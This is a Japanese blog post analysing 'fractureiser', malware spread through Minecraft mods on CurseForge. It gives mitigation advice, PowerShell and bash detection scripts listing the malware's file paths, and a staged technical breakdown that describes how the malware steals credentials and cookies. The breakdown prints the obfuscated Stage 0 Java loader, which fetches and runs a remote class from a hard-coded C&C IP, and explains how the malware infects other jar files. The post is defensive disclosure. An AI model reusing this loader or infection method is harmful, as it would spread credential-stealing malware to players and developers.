⚠️

Minecraft Mod/Pluginを対象としたマルウェア“fractureiser”

2023/06/07に公開

続報について、以下の動画の内容の一部に関して監修させて頂きました。非技術者向けの内容ですが、現状に関する説明が行われています。
現状について日本語で知りたい方は以下の動画を参照するのをおすすめします。

https://youtu.be/StWh7Nj4f-k

はじめに

タイトルのママで、マイクラ工業界隈だとかなり話題になっています。
このマルウェアは、マイクラのMod/Plugin及びMod/Plugin開発者を対象としたかなり悪質で強力なマルウェアです。
当初はMod配布プラットフォームであるCurseForgeにおけるアカウントハックだとみられていましたが、それよりも遙かに恐ろしい事案でした。現在発見されているのはCurseForgeのみですが、Modrinth等の別プラットフォームでも潜在的な可能性があります。
この記事では、現状の分かっている情報を紹介します。

参考文献

現在、このマルウェアはリバースエンジニアリングが行われており、調査が進んでいる途中です。調査は主に海外勢によって行われており、時差の問題から思わぬ時間に大きく進展する可能性があります。
そこで、この記事では先に参考文献を紹介します。最新情報はこれらを見てください。

影響範囲

Windows/Linuxにおける、全てのMinecraft Mod(Forge, Fabric, Quilt)とPlugin(Bukkit, Spigot, etc)、及びそれを利用するクライアント/サーバーが影響を受ける可能性があります。
また、 任意のMavenリポジトリ にも影響している可能性があります。
特に、CurseForge/Bukkit plugin repositoryから2023年5月以降にダウンロードしたファイルは危険です。
ちなみにMacでは現在このマルウェアは正常に動作しないようです。
また、1度感染した場合、PC内の全てのjarファイルが汚染されます
Minecraftに関係無いMain関数を含むjarファイルも汚染する事が確認されているため、1度感染した場合はIDEやビルドツール等も影響範囲に入ると考えられます。

私達は何をするべきか

(主に非技術者のために)技術的な詳細は後回しで、先に対策を書きます。

  • Mod/Pluginをダウンロードしない: 現在、全てのMod/Pluginはこのマルウェアに感染している可能性があると見るべきです。
  • Minecraft Java Editionをプレイしない: 過去にダウンロードしたMod/Pluginがこのマルウェアに感染している可能性があります。
  • 検知スクリプトを利用する: このマルウェアは特定の場所にファイルを展開する性質があるため、それを発見するスクリプトが有志により作成されています。

検知方法

For Windows

DetectionTool

CurseForgeの親会社であるOverwolfが検知プログラムを公開しています。
ダウンロードサイト
上記サイトからDetectionTool-*.*.*.exe (*部分にはバージョンを表す数字)をダウンロードして実行してください。
CurseForge公式による告知ツイート

PowerShell

PowerShellのスクリプトです。

$appData = "$HOME\AppData"
$edgePath = "$appData\Local\Microsoft Edge"

$badPaths = @(
        "$edgePath\.ref",
        "$edgePath\client.jar"
        "$edgePath\lib.dll",
        "$edgePath\libWebGL64.jar",
        "$edgePath\run.bat",
        "$appData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\run.bat",
        "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\t"
)

$res = $false

ForEach ($Path in $badPaths) {
        if (Test-Path -Path $Path) {
                Write-Host "bad file found! removing $Path..."
                Remove-Item -Force $Path
                $res = $true
        }
}

if (!($res)) {
                Write-Host "nothing found! :)"
}

Read-Host -Prompt "press any button to exit"

ダウンロードリンク

For Linux

#!/usr/bin/env bash

service_file="systemd-utility"
data_dir="$HOME/.config/.data"
bad_paths=(
        "$data_dir/.ref"
        "$data_dir/client.jar"
        "$data_dir/lib.jar"
        "$HOME/.config/systemd/user/$service_file"
        "/etc/systemd/system/$service_file"
)

res="true"
for path in "${bad_paths[@]}"; do
        if [ -f "$path" ]; then
                echo "bad file found! removing $path..."
                rm --force "$path"
                res="false"
        fi
done

if [ "$res" == "true" ]; then
        echo "nothing found :)"
fi

ダウンロードリンク

Stage 0の検知ツール

指定ディレクトリ以下の全ての.jarファイルを検査してStage 0へ感染している.jarファイルを発見するツールが開発されました。
現状ビルド済みのバイナリが提供されていないので、自前でビルド出来る人(主にMod開発者)向けです。
MCRcortex/nekodetector

各プラットフォームの対応

Forge, Fabric, Quilt, CurseForge, Modrinth, FTB, PrismといったMinecraftの各プラットフォームのメンバーがあつまったミーティングが解析チーム主催で行われました。そこで今後、どの様にして類似したマルウェアを広めないかという対策が話し合われたようです。
また、Modrinthは過去168時間にアップロードされたファイル全てを解析し、潜在的脅威は発見されなかったとの事です。その後過去10ヶ月にまで遡ってアップロードされたファイルを全て解析し、潜在的脅威は発見されなかったとの事です。
更に、CurseForgeは全てのModを解析しているようで、現在結果待ちです。

概要

このマルウェアは、"Stage 0"から"Stage 3"までの4段階までに分かれています。
"Stage 0"は、Modファイルに含まれている状態で、全てのプロセスの起点です。
"Stage 3"は、このマルウェアの"黒幕"です。以下の様な事を行います。

  • ファイルシステム内の全てのjarファイルに自身を感染させる
  • WebブラウザからCookieやログイン情報を盗む
  • クリップボード内の暗号通貨アドレスを攻撃者のものに置き換える
  • Discordの認証情報を盗む
  • Microsoft及びMinecraftの認証情報を盗む

これらの挙動から、このマルウェアは「Modded Minecraft(ModやPluginにより改造されたMinecraft)のエコシステムを対象とした攻撃」であると推定されます。
また、このマルウェアはWindows Defenderを初めとしたウイルス対策ソフトに検知されにくいです。
改めて言いますが、その性質上任意のJarファイルに感染の危険性があります。ダウンロード場所・期間に関わらず注意してください。

Jarファイルを検証する方法

いくつかのshell scriptが有志により作成されています。
Emiによるスクリプトは単純にClassLoaderの使用を検知します。これは非常に単純ですが、多くの偽陽性反応の可能性があります。
Sylvによるスクリプトはマルウェアとのフィンガープリント一致による検査を行い、より少し正確です。

技術的情報

拡散

一部のModpackにおいて、作成者が知らないうちに更新版がアップロード・公開され、悪意のあるModへの依存関係が追加されています。
現在確認されている、悪意のあるModのアップロード日は過去数週間のものです。その殆どは明らかに自動生成された名前の使い捨てアカウントによってアップロードされており、それらが感染の種となった可能性があります。
(発覚の切っ掛けとなった大規模Modpack/Modを開発する)Luna Pixel Studiosは、開発者がこの悪意のあるModの1つを試していたため、感染しました。
CurseForgeがこれらのModを公開したという事は、審査を通過したという事であり、コンテンツモデレーションがまともに機能していないと考えられます。

Stage 0

Mainクラスにstatic voidメソッドが追加され、static initializerでこのメソッドが呼び出されています。
このメソッドは難読化されています。
挿入されたコードの例:

static void _1685f49242dd46ef9c553d8af1a4e0bb() {
  Class.forName(new String(new byte[] {
      // "Utility"
    85, 116, 105, 108, 105, 116, 121
  }), true, (ClassLoader) Class.forName(new String(new byte[] {
      // "java.net.URLClassLoader"
    106, 97, 118, 97, 46, 110, 101, 116, 46, 85, 82, 76, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114
  })).getConstructor(URL[].class).newInstance(new URL[] {
    new URL(new String(new byte[] {
        // "http"
      104, 116, 116, 112
    }), new String(new byte[] {
        // "85.217.144.130"
      56, 53, 46, 50, 49, 55, 46, 49, 52, 52, 46, 49, 51, 48
    }), 8080, new String(new byte[] {
        // "/dl"
        47, 100, 108
        }))
  })).getMethod(new String(new byte[] {
      // "run"
    114, 117, 110
  }), String.class).invoke((Object) null, "-114.-18.38.108.-100");
}

このコードは以下のように動作します:

  1. http://[85.217.144.130:8080]/dlというURLを持つURLClassLoaderを作る
  2. 作ったURLClassLoaderを用いて、Utilityクラスをインターネットからダウンロードして読み込む
  3. Utility.runメソッドを呼び出す。このメソッドに渡される文字列は、影響を受けたMod毎に一意である。

現時点で、このIPアドレスのサーバーは落ちているため、このStage 0は機能していません。

Stage 1(dl.jar)

Stage 0でダウンロードされたUtilityクラスです。
デコンパイルされたUtilityクラスが有志により公開されています。
最初に、Utility.runメソッドはneko.runというシステムプロパティがセットされているかを確認します。セットされている場合、即座に動作を停止します。セットされていなかった場合、空の文字列をセットして動作を続けます。
これは、同じマルウェアが重複起動しないための非常に単純な方法です。
次に、85.217.144.140及びCloudflare Pagesのドメイン(https://[files-8ie.pages.dev]/ip)にアクセスします。このドメインは、ハードコードされたC&CサーバーのIPアドレスに接続出来なかった場合に、新しいIPアドレスを知らせるためのものだと考えられます。しかし、この機能にバグがあり、現在のバージョンではこのCloudflare Pagesのドメインにはアクセスできません。

C&CサーバーのIPアドレスは、サーバーのプロバイダーに通報が行われたため現在ルーティングが行われていません。
新しいC&Cサーバーが立ち上がったときに備え、このCloudflare Pagesは要監視です。

Stage 1は、次に以下の動作を行います。

  1. Stage 2をサーバーからダウンロード
  2. Stage 2が起動時に自動的に立ち上がるように設定

Stage 2(lib.jar or libWebGL64.jar)

Stage 2はAllatori obfuscatorのデモ版で難読化されています。
現在、Stage 2の解析はあまり行われていないため、細かい挙動は判明していません。
大まかには以下の様な事が行われています。

  1. Stage3をダウンロードする
  2. そのコードを読み込む
  3. dev.neko.nekoclient.Client.start()を起動する

Stage 3(client.jar)

client.jarは、信じられないほど難読化されており、複雑なコードバンドルが行われ、Javaとネイティブの両方のコードが混在しています。

hook.dllというネイティブファイルが含まれており、有志によりデコンパイルされた物が公開されています
このclient.jarは主にWindowsを対象としており、Windowsでしか動かない実装が多く含まれています。(だからといってMacやLinuxが安全という訳ではありません)

どうやら、攻撃者は手違いにより一時的に難読化されていないファイルをアップロードした様です。
そして、その難読化されていないファイルが有志により公開されています

現在判明している、client.jarが盗む情報は以下の通りです:

  • システムの基本情報(OS, ユーザー名, CPU, etc...)
  • WebブラウザからCookieとログイン情報
  • Microsoft Live/XBox Liveのログイン情報
  • Minecraftのログイン情報
  • Discordのログイン情報及び請求情報
  • 暗号通貨ウォレットの情報

他にclient.jarが行っている事は以下の通りです:

  • クリップボードの暗号通貨アドレスを攻撃者のものに置き換える
  • DDoSを行うためのボットネット
  • 任意のシェルコマンド実行
  • C&Cサーバーによって使われる、プロキシとしての働き(実際にどの様に使われるかは不明)

また、以下の様な手順で.jarファイルを"感染"させます。

  1. ゴミ箱/JAVA_HOME/client.jar自身以外の全ての.jarファイルをファイルシステムから取得する
  2. 感染対象であるかどうかをチェックする
    • Minecraftの.jarファイルであるかどうかを確認する: net/minecraft/client/main/Mainを検知し、net/minecraft/client/gui/GuiMultiplayerに感染させる。
    • Forge用のModであるかどうかを確認する: net/minecraftforge/fml/common/Modアノテーションでマークされたクラスを検知
    • Fabric/Quilt用のModであるかどうかを確認する: net/fabricmc/api/ModInitializerインターフェースを実装しているクラスを検知
    • Bungee用のPluginであるかどうかを確認する: net/md_5/bungee/api/plugin/Pluginクラスを継承しているクラスを検知
    • Bukkit用のPluginであるかどうかを確認する: org/bukkit/plugin/java/JavaPluginクラスを継承しているクラスを検知
    • C&CサーバーのIPアドレスが文字列リテラルで記述されているクラスは除外する。
    • 上記のどれにも当てはまらなかった場合、Main関数を探す
  3. 感染対象の.jarファイルを、以下の編集を行い上書きする
    • コード署名に関するファイルを削除する
    • META-INF/MANIFEST.MFを初期化する(manifest.getEntries().clear()を用いる)
    • 手順2で検知したクラスにStage 0のコードを挿入する
  4. 新しい.jarファイルのメタデータは書き換え前と同じに書き換える

最後に

参考文献では触れられていなかったのですが、このマルウェアは発見が遅れた場合、爆発的に広がっていた可能性がある非常に危険なマルウェアです。
具体的には、

  1. マルウェアに感染したMod/ModpackをMod開発者が利用する
  2. Mod開発者のPCがマルウェアに感染する
  3. 全ての.jarファイルが感染するようになるため、そのMod開発者がビルドした全てのModが感染したものになる
  4. そのModを利用するMod開発者がいる場合、1に戻る

はい、感染したModをMod開発者が利用するかどうかが運次第ですが、無限ループでひたすら感染が拡大していきますね。
このループの中で、仮に1Mダウンロード以上の超有名Modが感染してしまった場合、影響範囲がとんでもない事になり、おおよそ手遅れと言っても差し支えない状況に陥っていたのではないでしょうか。Gradle/Mavenのキャッシュも汚染されるため、全Mod開発者がPCをクリーンアップするのが必須に。

また、任意のMain関数が汚染されている事から、感染者の他のJava関係のツールチェーンにも汚染している可能性があります。
具体的には、

  • Gradle Build Tool
  • IntelliJ IDEA
    あたりです。
    更に、この感染している状態で開発者がexecutable-jar, 例えばDiscordのBotなんかをビルドして配布してしまうとその利用者も更に感染してしまいます。
    恐ろしいですね。

という事で、今回の事件はModded Minecraft界隈を対象とした非常に悪質なマルウェアによる攻撃です。
元記事の方に更新があった場合、こちらも更新しようと思います。
誤字・誤訳や新情報などあればコメントで提供お願いします。
被害者をなるべく減らすためにも、情報の拡散をなるべくお願いします。

最後に、マルウェアの解析者の方々及び最初に情報を纏めて公開したPrism Launcherチームに最大限の感謝を。

Discussion